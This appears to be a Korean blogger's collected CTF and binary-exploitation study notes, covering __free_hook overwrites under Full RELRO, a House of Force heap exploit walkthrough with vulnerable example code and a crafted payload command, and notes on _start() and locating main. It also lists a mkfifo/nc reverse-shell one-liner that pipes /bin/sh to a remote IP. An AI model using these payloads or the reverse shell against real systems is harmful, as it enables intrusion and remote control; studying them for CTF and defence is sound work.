SSo

헷갈릴 때 마다 봐야지 ㅎㅎ

포너블 풀다가 Full Relro가 걸려있어서 got overwrite를 할 수 없는 상황이였다.

검색 하다 보니 free_hook에 write가 가능해서 이 부분에 one-shot 가젯이나 system함수의 주소를 덮어쓰면 free()함수를 호출할 때 이 hook을 실행한다.

다시말해 one-shot가젯이나 system함수를 호출한다는 것이다.

 이 free_hook의 위치는 아래와 같이 찾을 수 있다.

p &__free_hook

이렇게 찾은 hook에 overwrite를 하게되면 free()함수를 호출하면 overwrite된 가젯을 실행시킨다.

Full Relro가 걸려있을 때 유용하게 사용할 수 있다.

ps. malloc_hook, realloc_hook도 사용가능하니 참고하자.

ltrace ./binary 로 바이너리를 디버깅 하면서 아래와 같이 __libc_start_main부분에서 첫번째 인자에 main의 주소가 나온다.

int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));

ex)

첫번째 인자인 0x0804874d가 main의 주소다.

기존에는 다른 함수들에 bp를 걸어서 계단형식으로 main을 찾았는데 이제 이 방법으로 해야겠다.

Ref.http://paulo.tistory.com/78?category=654027

TokyoWesterns CTF 2018 Vimshell 문제다.

포스팅 하는 이유는 이 문제는 ":", "q" 등이 막혀있어서 일반적으론 vim을 빠져나오지 못하게 해놓았다.

하지만 풀 수 있는 명령이 있다.

House of Force란 

Top chunk영역의 값을 덮어서 공격자가 원하는 위치에 값을 넣을 수 있는 기법이다.

우선 예시 코드다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void shell()
{
	system("/bin/sh");
}

int main(int argc, char *argv[])
{
	char *buf1, *buf2, *buf3;
	if (argc != 4) return;

	buf1 = malloc(256);
	strcpy(buf1, argv[1]);

	buf2 = malloc(strtoul(argv[2], NULL, 16));

	buf3 = malloc(256);
	strcpy(buf3, argv[3]);

	free(buf3);
	free(buf2);
	free(buf1);

	return 0;
}

이 코드에선 strcpy로 첫번째 메모리에서 top chunk의 사이즈를 0xffffffff로 덮어버리고 

두번째 malloc의 사이즈를 변조해서 세번째 malloc의 chunk를 원하는 주소로 할당시킬 수 있다.

참고한 사이트에 의하면 Top chunk 를 0xffffffff로 덮는 이유가 두번째 malloc에서 exploit을 가능케 하는 충분히 큰 malloc을 호출하기 위함이라고 한다는데 좀 이해가 안간다.. 계속 곱씹어보며 생각해봐야겠다..

우선 더미 top chunk를 덮었다.

그 다음은 malloc(argv[2])을 할텐데 여기서 공격자가 원하는 크기의 메모리를 할당 받을 수 있다.

우선 두번째 malloc()을 하게되면 0x0804b110부터 값이 들어가게 된다. 즉 만약 malloc(0x20)을 한다면 0x0804b110 + 0x20 = 0x804B130부터 메모리를 할당받는다는 소리다.

다시말해 이 곳의 사이즈에 들어갈 값은 공격자가 임의로 할당받기 원하는 주소의 값을 잘 계산해서 넣어야 한다는 말이다.

이 곳에 값을 넣기 위한 공식은

&target - &top_chunk - 0x8

이다.

왜 -0x8하는지는 top_chunk위치에서 prev_size와 size의 크기가 포함된것을 빼 준 것이다. (32비트에선 8을 빼주었고, 64비트에선 16을 빼준다.)

이 바이너리에서는 free@got에 새로운 메모리를 할당받아 보겠다.

그러면 공식에 대입해보면 free@got(0x804a00c) - top_chunk(0x0804b110) - 0x8 = 0xffffeef4가 나온다.

이제 이 값을 argv[2]에 넣으면 두번째 malloc(0xffffeef4)에서 free@got에 0xffffeef4만큼의 size로 메모리를 할당받게 된다.

그리고 세번째 malloc은 free@got-4에 할당된다. 이게 왜 이렇지??? 이해가 안된다...? 계산을 해봐도 이해가 안가네.. 이것도 계속 생각해봐야겠다.

그리고 이제 argv[3]에 넣은 8바이트의 뒤 4바이트가 free@got에 들어가게 될 것이다.

payload

r `python -c 'print "A"*260 + "\xff\xff\xff\xff"'` FFFFEEF4 `python -c 'print "CCCCDDDD"'`

free@got에서 터진 것을 보면 알 수 있다.

일단 어느정도 이해는 완료 했는데 아직 이해가 안가는 두 부분 때문에 계속 곱씹으면서 생각하면서 디버깅 해봐야겠다.

Ref.http://err0rless313.tistory.com/entry/The-House-of-Force-kor

Ref.https://www.lazenca.net/display/TEC/The+House+of+Force

nc -e 옵션대신 리버스쉘을 할 수 있는 방법

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ADDRESS] [PORT] >/tmp/f

Ref.http://kaka09.tistory.com/32?category=626537

http://blog.tunz.kr/119

일반적으로 프로그램이 시작하면 맨 처음 main함수가 실행 된다고 알고 있는데.. 메인함수를 실행 시키기 위한 환경을 만들어 주는 과정이 있다.

이 과정에서 먼저 실행되는 함수가 있는데 _start()함수다.

메인함수도 이 _start()함수가 실행된 후에 실행되므로 main보다 먼저 실행이 된다.

우선 코드를 컴파일해서 확인해보자.

test1.c

#include<stdio.h>
#include<stdlib.h>
_start()
{
   exit(my_main());
}
int my_main()
{
   printf("Hello");
   return 0;
}

gcc  -nostartfiles  test1.c 

main함수 없이 코드를 작성했고 위와 같이 컴파일 한 후 실행시켜 봤다.

이처럼 메인함수 없이도 내 임의의 main을 실행 시킬 수 있다.

이제 gdb로 이 _start()함수를 확인해보자.

코드를 짠대로 _start()함수에서 my_main()을 콜한다.

만약 실제 main()함수를 실행할 때는 어떻게 동작하는지 이번엔 main()함수가 있는 코드를 작성해서 컴파일해봤다.

#include <stdio.h>

int main()
{
        printf("Hello");
        return 0;
}

먼저 이 코드를 컴파일을 해주고 gdb로 열었다.

_start()함수의 주소를 찾았다. 이제 여기서 main()을 call하는 부분을 확인해야한다.

해당 주소에 bp를 걸고 레지스터들을 확인해야 한다.

레지스터를 보면 64비트에선 rdi, rsi가 함수의 첫번째와 두번째 인자로 들어가는데 여기서 rdi와 rsi는 각각 main()함수 시작주소와 해당 함수의 첫번 째 인자를 넣는 것이다.

즉 call할때 첫번째 인자에는 실행시킬 함수를 주고, 두번째 인자에는 해당 함수에 들어갈 인자 값을 넣는 것이다.

이번에는 다시 main()함수가 없는 test1.c의 my_main()을 하는 부분에 bp를 걸고 다시 확인해보자.

이번에는 my_main()함수를 직접 호출하기 때문에 rdi에는 어떤 0을 가리키는 값이 들어갔고 rsi에는 또 1이 들어갔다.

정확히 확인해보기 위해 이번에는 my_main()함수에 인자를 추가해야겠다.

#include<stdio.h>
#include<stdlib.h>
_start()
{
   exit(my_main(31));
}
int my_main(int i)
{
   printf("Hello");
   return 0;
}

이번에도 똑같이 컴파일한 후 gdb로 확인해봤다.

이번에는 rdi에 my_main()의 첫번째 인자엔 십진수로 33인 0x1f가 들어가 있다.

이제 대충 _start()함수의 원리를 아주 조금 안 것 같다.

다음엔 직접 libc의 소스를 보면서 파악을 해봐야 겠다.

===========================================================================

start In Kernel

- start_kernel 함수

ref.http://egloos.zum.com/studyfoss/v/5283161

ref.https://stackoverflow.com/questions/5764298/how-to-compile-c-source-code-without-a-main-function

ref.https://tistory.0wn.kr/368